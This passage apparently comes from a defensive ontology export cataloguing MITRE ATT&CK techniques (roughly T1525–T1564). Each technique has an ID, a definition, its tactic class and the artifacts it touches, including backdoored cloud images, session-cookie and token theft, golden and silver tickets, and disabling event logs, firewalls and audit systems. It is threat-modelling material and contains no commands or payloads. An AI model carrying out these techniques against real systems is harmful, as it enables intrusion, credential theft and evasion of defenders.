definition: Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)
subclass of: Restriction
  on property: adds
  some values from: ContainerImage
subclass of: PersistenceTechnique

Cloud Service Discovery
type: Class
type: NamedIndividual
attack-id: T1526
definition: An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.
reads: CloudConfiguration
subclass of: Restriction
  on property: reads
  some values from: CloudConfiguration
subclass of: DiscoveryTechnique

Application Access Token
type: Class
attack-id: T1527
definition: Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.
comment: This technique has been revoked by T1550.001
subclass of: DefenseEvasionTechnique
subclass of: LateralMovementTechnique
deprecated: true

Steal Application Access Token
type: Class
type: NamedIndividual
accesses: AccessToken
attack-id: T1528
definition: Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.
subclass of: Restriction
  on property: accesses
  some values from: AccessToken
subclass of: CredentialAccessTechnique

System Shutdown/Reboot
type: Class
attack-id: T1529
definition: Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A)
subclass of: ImpactTechnique

Data from Cloud Storage
type: Class
attack-id: T1530
definition: Adversaries may access data from cloud storage.
subclass of: CollectionTechnique

Account Access Removal
type: Class
type: NamedIndividual
attack-id: T1531
definition: Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)
modifies: UserAccount
subclass of: Restriction
  on property: modifies
  some values from: UserAccount
subclass of: ImpactTechnique

Archive Collected Data - ATTACK Mobile
type: Class
attack-id: T1532
definition: Adversaries may compress and/or encrypt data that is collected prior to exfiltration. Compressing data can help to obfuscate its contents and minimize use of network resources. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
subclass of: ATTACKMobileCollectionTechnique
preferred label: Archive Collected Data

Data from Local System - ATTACK Mobile
type: Class
attack-id: T1533
definition: Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to exfiltration.
subclass of: ATTACKMobileCollectionTechnique
preferred label: Data from Local System

Internal Spearphishing
type: Class
type: NamedIndividual
attack-id: T1534
definition: After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating [Impersonation](https://attack.mitre.org/techniques/T1656).(Citation: Trend Micro - Int SP)
produces: Email
subclass of: Restriction
  on property: produces
  some values from: Email
subclass of: LateralMovementTechnique

Unused/Unsupported Cloud Regions
type: Class
attack-id: T1535
definition: Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.
subclass of: DefenseEvasionTechnique

Revert Cloud Instance
type: Class
attack-id: T1536
definition: An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.
comment: This technique has been revoked by T1578.004
subclass of: DefenseEvasionTechnique
deprecated: true

Transfer Data to Cloud Account
type: Class
attack-id: T1537
definition: Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.
subclass of: ExfiltrationTechnique

Cloud Service Dashboard
type: Class
type: NamedIndividual
accesses: CloudConfiguration
attack-id: T1538
definition: An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)
subclass of: Restriction
  on property: accesses
  some values from: CloudConfiguration
subclass of: DiscoveryTechnique

Steal Web Session Cookie
type: Class
type: NamedIndividual
accesses: SessionCookie
attack-id: T1539
definition: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.
subclass of: Restriction
  on property: accesses
  some values from: SessionCookie
subclass of: CredentialAccessTechnique

Code Injection - ATTACK Mobile
type: Class
attack-id: T1540
definition: Adversaries may use code injection attacks to implant arbitrary code into the address space of a running application. Code is then executed or interpreted by that application. Adversaries utilizing this technique may exploit capabilities to load code in at runtime through dynamic libraries.
comment: This technique has been revoked by T1631.001
subclass of: ATTACKMobileDefenseEvasionTechnique
subclass of: ATTACKMobilePersistenceTechnique
subclass of: ATTACKMobilePrivilegeEscalationTechnique
deprecated: true
preferred label: Code Injection

Foreground Persistence - ATTACK Mobile
type: Class
attack-id: T1541
definition: Adversaries may abuse Android's `startForeground()` API method to maintain continuous sensor access. Beginning in Android 9, idle applications running in the background no longer have access to device sensors, such as the camera, microphone, and gyroscope.(Citation: Android-SensorsOverview) Applications can retain sensor access by running in the foreground, using Android’s `startForeground()` API method. This informs the system that the user is actively interacting with the application, and it should not be killed. The only requirement to start a foreground service is showing a persistent notification to the user.(Citation: Android-ForegroundServices)
subclass of: ATTACKMobileDefenseEvasionTechnique
subclass of: ATTACKMobilePersistenceTechnique
preferred label: Foreground Persistence

ROMMONkit
type: Class
type: NamedIndividual
attack-id: T1542.004
definition: Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)
modifies: SystemFirmware
subclass of: Restriction
  on property: modifies
  some values from: SystemFirmware
subclass of: T1542

TFTP Boot
type: Class
type: NamedIndividual
attack-id: T1542.005
creates: TFTPNetworkTraffic
definition: Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.
subclass of: Restriction
  on property: creates
  some values from: TFTPNetworkTraffic
subclass of: T1542

Container Service
type: Class
attack-id: T1543.005
definition: Adversaries may create or modify container or container cluster management tools that run as daemons, agents, or services on individual hosts. These include software for creating and managing individual containers, such as Docker and Podman, as well as container cluster node-level agents such as kubelet. By modifying these services, an adversary may be able to achieve persistence or escalate their privileges on a host.
subclass of: T1543

Ingress Tool Transfer - ATTACK Mobile
type: Class
attack-id: T1544
definition: Adversaries may transfer tools or other files from an external system onto a compromised device to facilitate follow-on actions. Files may be copied from an external adversary-controlled system through the command and control channel or through alternate protocols with another tool such as FTP.
subclass of: ATTACKMobileCommandAndControlTechnique
preferred label: Ingress Tool Transfer

Installer Packages
type: Class
attack-id: T1546.016
definition: Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)
subclass of: T1546

Udev Rules
type: Class
attack-id: T1546.017
definition: Adversaries may maintain persistence through executing malicious content triggered using udev rules. Udev is the Linux kernel device manager that dynamically manages device nodes, handles access to pseudo-device files in the `/dev` directory, and responds to hardware events, such as when external devices like hard drives or keyboards are plugged in or removed. Udev uses rule files with `match keys` to specify the conditions a hardware event must meet and `action keys` to define the actions that should follow. Root permissions are required to create, modify, or delete rule files located in `/etc/udev/rules.d/`, `/run/udev/rules.d/`, `/usr/lib/udev/rules.d/`, `/usr/local/lib/udev/rules.d/`, and `/lib/udev/rules.d/`. Rule priority is determined by both directory and by the digit prefix in the rule filename.(Citation: Ignacio Udev research 2024)(Citation: Elastic Linux Persistence 2024)
subclass of: T1546

Print Processors
type: Class
attack-id: T1547.012
definition: Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)
subclass of: T1547

XDG Autostart Entries
type: Class
attack-id: T1547.013
definition: Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user’s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user’s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry Keys)
subclass of: T1547

Active Setup
type: Class
attack-id: T1547.014
definition: Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.
subclass of: T1547

Login Items
type: Class
type: NamedIndividual
attack-id: T1547.015
definition: Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.
modifies: UserLogonInitResource
subclass of: Restriction
  on property: modifies
  some values from: UserLogonInitResource
subclass of: T1547

Temporary Elevated Cloud Access
type: Class
attack-id: T1548.005
definition: Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own.
subclass of: T1548

TCC Manipulation
type: Class
attack-id: T1548.006
definition: Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to execute malicious applications with elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).
subclass of: T1548

Group Policy Preferences
type: Class
type: NamedIndividual
accesses: GroupPolicy
attack-id: T1552.006
definition: Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)
subclass of: Restriction
  on property: accesses
  some values from: GroupPolicy
subclass of: T1552

Container API
type: Class
attack-id: T1552.007
definition: Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)
subclass of: T1552

Chat Messages
type: Class
attack-id: T1552.008
definition: Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.
subclass of: T1552

Mark-of-the-Web Bypass
type: Class
attack-id: T1553.005
definition: Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)
subclass of: T1553

Code Signing Policy Modification
type: Class
attack-id: T1553.006
definition: Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system.
subclass of: T1553

Windows Credential Manager
type: Class
attack-id: T1555.004
definition: Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)
subclass of: T1555

Password Managers
type: Class
attack-id: T1555.005
definition: Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)
subclass of: T1555

Cloud Secrets Management Stores
type: Class
attack-id: T1555.006
definition: Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault.
subclass of: T1555

Domain Controller Authentication
type: Class
attack-id: T1556.001
definition: Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts.
subclass of: T1556

Pluggable Authentication Modules
type: Class
type: NamedIndividual
attack-id: T1556.003
definition: Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)
may-modify: OperatingSystemConfigurationFile
may-modify: OperatingSystemSharedLibraryFile
subclass of: Restriction
  on property: may-modify
  some values from: OperatingSystemSharedLibraryFile
subclass of: Restriction
  on property: may-modify
  some values from: OperatingSystemConfigurationFile
subclass of: T1556

Network Device Authentication
type: Class
attack-id: T1556.004
definition: Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.
subclass of: T1556

Reversible Encryption
type: Class
attack-id: T1556.005
definition: An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)
subclass of: T1556

Multi-Factor Authentication
type: Class
attack-id: T1556.006
definition: Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.
subclass of: T1556

Hybrid Identity
type: Class
attack-id: T1556.007
definition: Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts.
subclass of: T1556

Network Provider DLL
type: Class
attack-id: T1556.008
definition: Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify)
subclass of: T1556

Conditional Access Policies
type: Class
attack-id: T1556.009
definition: Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.
subclass of: T1556

ARP Cache Poisoning
type: Class
attack-id: T1557.002
definition: Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).
subclass of: T1557

DHCP Spoofing
type: Class
type: NamedIndividual
attack-id: T1557.003
creates: DHCPNetworkTraffic
definition: Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).
subclass of: Restriction
  on property: creates
  some values from: DHCPNetworkTraffic
subclass of: T1557

Evil Twin
type: Class
attack-id: T1557.004
definition: Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or [Input Capture](https://attack.mitre.org/techniques/T1056).(Citation: Australia ‘Evil Twin’)
subclass of: T1557

Golden Ticket
type: Class
type: NamedIndividual
attack-id: T1558.001
definition: Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection)
forges: KerberosTicketGrantingTicket
subclass of: Restriction
  on property: forges
  some values from: KerberosTicketGrantingTicket
subclass of: T1558

Silver Ticket
type: Class
attack-id: T1558.002
definition: Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)
subclass of: T1558

AS-REP Roasting
type: Class
attack-id: T1558.004
definition: Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017)
subclass of: T1558

Ccache Files
type: Class
attack-id: T1558.005
definition: Adversaries may attempt to steal Kerberos tickets stored in credential cache files (or ccache). These files are used for short term storage of a user's active session credentials. The ccache file is created upon user authentication and allows for access to multiple services without the user having to re-enter credentials.
subclass of: T1558

Component Object Model
type: Class
attack-id: T1559.001
definition: Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)
subclass of: T1559

XPC Services
type: Class
attack-id: T1559.003
definition: Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service C API or the high level NSXPCConnection API in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)
subclass of: T1559

Archive via Utility
type: Class
type: NamedIndividual
attack-id: T1560.001
creates: ArchiveFile
definition: Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.
subclass of: Restriction
  on property: creates
  some values from: ArchiveFile
subclass of: T1560

Archive via Library
type: Class
type: NamedIndividual
attack-id: T1560.002
creates: ArchiveFile
definition: An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.
subclass of: Restriction
  on property: creates
  some values from: ArchiveFile
subclass of: T1560

Archive via Custom Method
type: Class
type: NamedIndividual
attack-id: T1560.003
creates: Custom Archive File
definition: An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)
subclass of: Restriction
  on property: creates
  some values from: Custom Archive File
subclass of: T1560

Disable Windows Event Logging
type: Class
type: NamedIndividual
attack-id: T1562.002
definition: Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.
may-modify: ApplicationConfiguration
may-modify: OperatingSystemConfigurationComponent
subclass of: Restriction
  on property: may-modify
  some values from: ApplicationConfiguration
subclass of: Restriction
  on property: may-modify
  some values from: OperatingSystemConfigurationComponent
subclass of: T1562

Disable or Modify System Firewall
type: Class
type: NamedIndividual
attack-id: T1562.004
definition: Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.
modifies: SystemFirewallConfiguration
subclass of: Restriction
  on property: modifies
  some values from: SystemFirewallConfiguration
subclass of: T1562

Disable or Modify Cloud Firewall
type: Class
attack-id: T1562.007
definition: Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004).
subclass of: T1562

Disable or Modify Cloud Logs
type: Class
attack-id: T1562.008
definition: An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.
subclass of: T1562

Safe Mode Boot
type: Class
type: NamedIndividual
attack-id: T1562.009
definition: Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)
disables: EndpointSensor
disables: SystemConfigurationInitDatabaseRecord
may-modify: EndpointHealthBeacon
subclass of: Restriction
  on property: disables
  some values from: SystemConfigurationInitDatabaseRecord
subclass of: Restriction
  on property: may-modify
  some values from: EndpointHealthBeacon
subclass of: Restriction
  on property: disables
  some values from: EndpointSensor
subclass of: T1562

Downgrade Attack
type: Class
type: NamedIndividual
accesses: LegacySystem
attack-id: T1562.010
definition: Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system’s backward compatibility to force it into less secure modes of operation.
subclass of: Restriction
  on property: accesses
  some values from: LegacySystem
subclass of: T1562

Spoof Security Alerting
type: Class
attack-id: T1562.011
definition: Adversaries may spoof security alerting from tools, presenting false evidence to impair defenders’ awareness of malicious activity.(Citation: BlackBasta) Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system. Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident.
subclass of: T1562

Disable or Modify Linux Audit System
type: Class
attack-id: T1562.012
definition: Adversaries may disable or modify the Linux audit system to hide malicious activity and avoid detection. Linux admins use the Linux Audit system to track security-relevant information on a system. The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules.
subclass of: T1562

RDP Hijacking
type: Class
type: NamedIndividual
accesses: RDPSession
attack-id: T1563.002
definition: Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)
subclass of: Restriction
  on property: accesses
  some values from: RDPSession
subclass of: T1563

Hidden File System
type: Class
type: NamedIndividual
attack-id: T1564.005
definition: Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)
may-modify: SystemConfigurationDatabase
modifies: Storage
subclass of: Restriction
  on property: may-modify
  some values from: SystemConfigurationDatabase
subclass of: Restriction
  on property: modifies
  some values from: Storage
subclass of: T1564

Run Virtual Instance
type: Class
type: NamedIndividual
attack-id: T1564.006
creates: File
definition: Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)
executes: VirtualizationSoftware
may-add: VirtualizationSoftware
may-create: Directory
subclass of: Restriction
  on property: creates
  some values from: File
subclass of: Restriction
  on property: executes
  some values from: VirtualizationSoftware
subclass of: Restriction
  on property: may-add
  some values from: VirtualizationSoftware
subclass of: Restriction
  on property: may-create
  some values from: Directory
subclass of: T1564

VBA Stomping
type: Class
type: NamedIndividual
attack-id: T1564.007
definition: Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)
modifies: OfficeApplicationFile
subclass of: Restriction
  on property: modifies
  some values from: OfficeApplicationFile
subclass of: T1564

Email Hiding Rules
type: Class
type: NamedIndividual
attack-id: T1564.008
definition: Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)
may-create: EmailRule
may-modify: EmailRule
modifies: ApplicationConfiguration
subclass of: Restriction
  on property: may-modify
  some values from: EmailRule
subclass of: Restriction
  on property: modifies
  some values from: ApplicationConfiguration
subclass of: Restriction
  on property: may-create
  some values from: EmailRule
subclass of: T1564

Resource Forking
type: Class
type: NamedIndividual
attack-id: T1564.009
definition: Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)
may-create: ResourceFork
may-modify: ResourceFork
subclass of: Restriction
  on property: may-create
  some values from: ResourceFork
subclass of: Restriction
  on property: may-modify
  some values from: ResourceFork
subclass of: T1564

Process Argument Spoofing
type: Class
attack-id: T1564.010
definition: Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)
subclass of: T1564

Ignore Process Interrupts
type: Class
attack-id: T1564.011
definition: Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. Many operating systems use signals to deliver messages to control process behavior. Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off.(Citation: Linux Signal Man) These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes.
subclass of: T1564

File/Path Exclusions
type: Class
attack-id: T1564.012
